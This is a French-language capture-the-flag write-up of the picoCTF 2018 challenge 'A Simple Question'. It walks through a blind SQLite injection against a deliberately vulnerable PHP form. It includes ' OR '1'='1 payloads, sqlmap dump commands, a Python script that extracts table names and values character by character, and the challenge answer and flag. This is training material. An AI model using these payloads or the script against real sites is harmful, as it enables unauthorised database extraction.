Zeecka zeecka

A Simple Question

picoCTF 2018 - Web (650 pts)

picoCTF 2018: A Simple Question

Détails du challenge

EventChallengeCategoryPointsSolves
picoCTF 2018A Simple QuestionWeb863202

Description

There is a website running at http://2018shell2.picoctf.com:28120 (link). Try to see if you can answer its question.

TL;DR

Il s’agissait d’une Blind SQLite injection avec le code source fourni dans les commentaires html.

Méthodologie

Commentaires HTML

La première chose que j’ai faite a été de regarder la page html et le code source html :

/files/picoctf_2018/htmlview.png

Code HTML (Ctrl+U lorsque vous êtes sur la page) :

<!doctype html>
<html>
<head>
    <title>Question</title>
    <link rel="stylesheet" type="text/css" href="//maxcdn.bootstrapcdn.com/bootstrap/3.3.5/css/bootstrap.min.css">
</head>
<body>
<div class="container">
    <div class="row">
        <div class="col-md-12">
            <div class="panel panel-primary" style="margin-top:50px">
                <div class="panel-heading">
                    <h3 class="panel-title">A Simple Question</h3>
                </div>
                <div class="panel-body">
                    <div>
                        What is the answer?
                    </div>  
                    <form action="answer2.php" method="POST">
<!-- source code is in answer2.phps -->
                        <fieldset>
                            <div class="form-group">
                                <div class="controls">
                                    <input id="answer" name="answer" class="form-control">
                                </div>
                            </div>

                            <input type="hidden" name="debug" value="0">

                            <div class="form-actions">
                                <input type="submit" value="Answer" class="btn btn-primary">
                            </div>
                        </fieldset>
                    </form>
                </div>
            </div>
        </div>
    </div>
</div>
</body>
</html>

On peut voir qu’il y a un formulaire avec "answer2.php" comme action.
On peut également voir le commentaire html "source code is in answer2.phps".

Code source PHP

J’ai décidé de vérifier le code source en me rendant sur http://2018shell2.picoctf.com:28120/answer2.phps.

Vue HTML : /files/picoctf_2018/htmlview2.png

Code complet :

<?php
  include "config.php";
  ini_set('error_reporting', E_ALL);
  ini_set('display_errors', 'On');

  $answer = $_POST["answer"];
  $debug = $_POST["debug"];
  $query = "SELECT * FROM answers WHERE answer='$answer'";
  echo "<pre>";
  echo "SQL query: ", htmlspecialchars($query), "\n";
  echo "</pre>";
?>
<?php
  $con = new SQLite3($database_file);
  $result = $con->query($query);

  $row = $result->fetchArray();
  if($answer == $CANARY)  {
    echo "<h1>Perfect!</h1>";
    echo "<p>Your flag is: $FLAG</p>";
  }
  elseif ($row) {
    echo "<h1>You are so close.</h1>";
  } else {
    echo "<h1>Wrong.</h1>";
  }
?>

Notez qu’une partie du code n’est pas visible dans la vue HTML car <?php est interprété comme une balise HTML.

En regardant le code source, on peut voir que la page web affiche chaque erreur :

<?php
ini_set('error_reporting', E_ALL);
ini_set('display_errors', 'On');
?>

On peut également identifier une SQL Injection dans les lignes suivantes :

<?php
$answer = $_POST["answer"];
$debug = $_POST["debug"];
$query = "SELECT * FROM answers WHERE answer='$answer'";
?>

On peut également récupérer la version SQL : SQLite3.

Le résultat de la requête SQL est stocké dans $row mais jamais affiché. Cependant, s’il y a un résultat ($row n’est pas vide), on obtient le message "You are so close.". En cas d’absence de résultat, on obtient le message "Wrong.". Ce comportement peut être exploité avec une Blind SQL Injection.

Tests

Test avec la valeur "test" comme recherche :

/files/picoctf_2018/test_question.png

Résultat :

/files/picoctf_2018/test_rep.png

Essayons d’obtenir une réponse vraie (True) avec un simple ' OR '1'='1 :

/files/picoctf_2018/or1_question.png

Résultat :

/files/picoctf_2018/or1_rep.png

On peut voir que notre requête est bien modifiée : SELECT * FROM answers WHERE answer='' OR '1'='1' qui renvoie toutes les réponses et qui est vraie.

Exploitation

Il y a deux façons d’exploiter cette Blind SQLite injection : la fainéante, et la vraie ! Commençons par la solution fainéante.

Solution fainéante

Installez SQLmap (préinstallé sur Kali linux). Lancez-le comme un script kiddie (vous pouvez aussi spécifier des options) :

Script Kiddie :

sqlmap -u "http://2018shell2.picoctf.com:28120/" --form --dump-all

OU spécifiez des options (voir la documentation SQLMap) :

sqlmap -u "http://2018shell2.picoctf.com:28120/answer2.php" --data="answer=*" --dbms=SQLite --dbs
sqlmap -u "http://2018shell2.picoctf.com:28120/answer2.php" --data="answer=*" --dbms=SQLite -D SQLite --tables
sqlmap -u "http://2018shell2.picoctf.com:28120/answer2.php" --data="answer=*" --dbms=SQLite -D SQLite -T answers --dump

Sortie :

Database: SQLite_masterdb
Table: answers
[1 entry]
+----------------+
| answer         |
+----------------+
| 41AndSixSixths |
+----------------+
Solution hacker

J’ai décidé de le scripter et de l’exploiter moi-même. Voici mon premier test booléen en python :

import requests
import string

url = "http://2018shell2.picoctf.com:28120/answer2.php"

s = requests.session()


def isTrue(r):
    return "You are so close" in r.text or "flag" in r.text

def inject(i):
    data = {
        "answer":i,
        "debug":"0"
    }
    r = s.post(url,data)
    return isTrue(r)

def p_inject(i):
    res = inject(i)
    print(i+"  =>  "+str(res))
    return res


    p_inject("' OR 1=0 --")  # Note, we use SQLite comment "--"
    p_inject("' OR 1=1 --")

Voici mon script complet :

import requests
import string

url = "http://2018shell2.picoctf.com:28120/answer2.php"

s = requests.session()


def isTrue(r):
    return "You are so close" in r.text or "flag" in r.text

def inject(i):
    data = {
        "answer":i,
        "debug":"0"
    }
    r = s.post(url,data)
    return isTrue(r)

def p_inject(i):
    res = inject(i)
    print(i+"  =>  "+str(res))
    return res



for i in range(5):
    p_inject("' OR 1=1 AND (SELECT count(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' ) = "+str(i)+" --")
# ==> Only 1 table


for i in range(10):
    p_inject("' OR 1=1 AND (SELECT length(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name not like 'sqlite_%' limit 1 offset 0) = "+str(i)+" --")
# ==> Table name is 7 chars


tableName = ""
for i in range(7):
    for c in string.printable:
        r = p_inject("' OR 1=1 and (SELECT hex(substr(tbl_name,"+str(i+1)+",1)) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' limit 1 offset 0) = hex('"+str(c)+"') --")
        if r:
            tableName += c
            break
print("Table name: "+str(tableName))
# ==> Table name is "answers"


for i in range(10):
    p_inject("' OR 1=1 AND (SELECT 1 FROM answers ORDER BY "+str(i)+") --")
# ==> Answer has 1 column


for i in range(10):
    p_inject("' OR 1=1 AND (SELECT count(*) FROM answers ) = "+str(i)+" --")
# ==> Answer has 1 record


p_inject("' OR 1=1 AND (SELECT 1 FROM answers ORDER BY answer) --")
# ==> Answer has 1 column named "answer" (guessing)


for i in range(15):
    p_inject("' OR 1=1 AND (SELECT length(answer) FROM answers) = "+str(i)+" --")
# ==> Length of answer is 14

answer = ""
for i in range(14):
    for c in string.printable:
        r = p_inject("' OR 1=1 and (SELECT hex(substr(answer,"+str(i+1)+",1)) FROM answers) = hex('"+str(c)+"') --")
        if r:
            answer += c
            break
print("Answer: "+str(answer))

Sortie : Answer: 41AndSixSixths

Réponse

Envoi de la réponse :

/files/picoctf_2018/answer_question.png

Résultat :

/files/picoctf_2018/answer_rep.png

Flag

picoCTF{qu3stions_ar3_h4rd_73139cd9}

Zeecka